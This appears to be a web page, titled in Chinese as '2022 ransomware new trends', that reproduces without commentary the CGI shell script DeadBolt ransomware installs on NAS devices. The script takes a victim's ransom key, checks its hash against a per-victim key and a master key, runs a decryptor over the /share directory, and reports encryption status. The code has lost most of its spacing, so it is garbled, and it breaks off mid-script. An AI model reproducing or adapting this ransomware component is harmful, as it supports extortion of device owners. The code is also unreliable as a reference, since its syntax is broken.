2022勒索软件新趋势

#!/bin/sh

echo"Content-Type: text/html"

echo""

get_value(){

     echo"$1"|awk-F"${2}="'{ print $2 }'|awk-F'&''{ print $1 }'

}

not_running(){echo'{"status":"not_running"}';exit;}

PID_FILENAME=/tmp/deadbolt.pid

STATUS_FILENAME=/tmp/deadbolt.status

FINISH_FILENAME=/tmp/deadbolt.finish

TOOL=/mnt/HDA_ROOT/722

CRYPTDIR=/share

if["$REQUEST_METHOD"="POST"];then

    DATA=`dd count=$CONTENT_LENGTH bs=12> /dev/null`'&'

    ACTION=$(get_value"$DATA""action")

    if["$ACTION"="decrypt"];then

        KEY=$(get_value"$DATA""key")

          if["${#KEY}"!=32];then     

            echo"invalid key len"     

            exit        

        fi

        K=/tmp/k-$RANDOM     

        echo-n > $K

        foriin`seq0230`;do

            printf"x"${KEY:$i:2} >> $K

          done

        SUM=$(sha256sum$K|awk'{ print $1 }')     

        rm$K

        if["$SUM"="915767a56cb58349b1e34c765b82be6b117db7e784c3efb801f327ff00355d15"];then

            echo"correct key"

              exec >&-     

            exec 2>&-

            ${TOOL} -d "$KEY" "$CRYPTDIR"      

        elif [ "$SUM" = "93f21756aeeb5a9547cc62dea8d58581b0da4f23286f14d10559e6f89b078052" ];then

              echo"correct master key"

              exec >&-

              exec 2>&-

              ${TOOL} -d "$KEY" "$CRYPTDIR"

          else

              echo "wrong key."

          fi

    elif [ "$ACTION" = "status" ];then

        if[-f"$FINISH_FILENAME"];then

            echo'{"status":"finished"}'

              exit

          fi

        if[-f"$PID_FILENAME"];then     

            PID=$(cat"$PID_FILENAME")

            if["$PID"=""];then

                not_running     

            fi

            if[!-d"/proc/$PID"];then     

                not_running     

            fi

        fi

        if[-f"$STATUS_FILENAME"];then

              COUNT=$(cat"$STATUS_FILENAME")

              echo'{"status":"running","count":"'${COUNT}'"}'

        else

            not_running

        fi

    else

        echo"invalid action"

    fi

else

    echo